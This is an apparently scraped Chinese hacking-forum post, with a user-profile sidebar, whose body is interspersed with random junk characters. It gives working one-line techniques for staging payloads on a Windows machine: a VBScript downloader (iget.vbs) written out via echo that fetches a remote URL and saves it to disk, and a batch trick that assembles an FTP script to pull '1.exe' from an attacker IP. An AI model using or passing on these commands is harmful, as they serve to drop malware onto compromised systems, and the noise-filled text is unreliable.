- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法:
2 U7 J. A) z9 R d S1 `2 J1.iget.vbs一次写入 : n/ R E7 i( u4 C* t
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
/ ~) Q5 Z2 y$ a4 k5 R. A5 d0 D( j) g2 f* R4 G
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 8 C! P1 \5 K" H* }
- @# W7 `& N# b: C5 v' L! g, z; P' i这样我们可以一次echo成功,echo版本: & E" o% l! L k$ ~% v8 ^& `
4 e, u- t7 D6 A. z+ o
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs - u6 P: e4 z+ X# B2 z$ x
0 M! B4 Y$ a3 e) H# o$ W
! ?9 D4 z9 P, J% ^& F' u/ I2.bat调用ftp脚本的写法(by envymask) ) a6 A6 |7 T3 ~! ]8 |' d
6 Y8 C ?; V: i: k- a
echo ftp>1.vbs 6 u& [. n4 U0 |/ s. u; {
echo open ip>2.vbs ( L9 y7 Q4 w% @) q! D
echo u>3.vbs
4 h2 I8 J- N6 n- ?, d! lecho s>4.vbs 2 _9 j; B* j, U- O+ y# l8 ?6 v
echo binary>5.vbs
' }) ~, B( [9 [# p$ W+ f# [echo get 1.exe>6.vbs ' I2 M4 D- L( g1 A
echo bay>7.vbs
0 u( z( w; D9 t6 o/ K* v. ?
$ Z ~( l9 d/ ]; fcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs " ?$ e p. x3 D* n/ x; W
</P> |
zan
|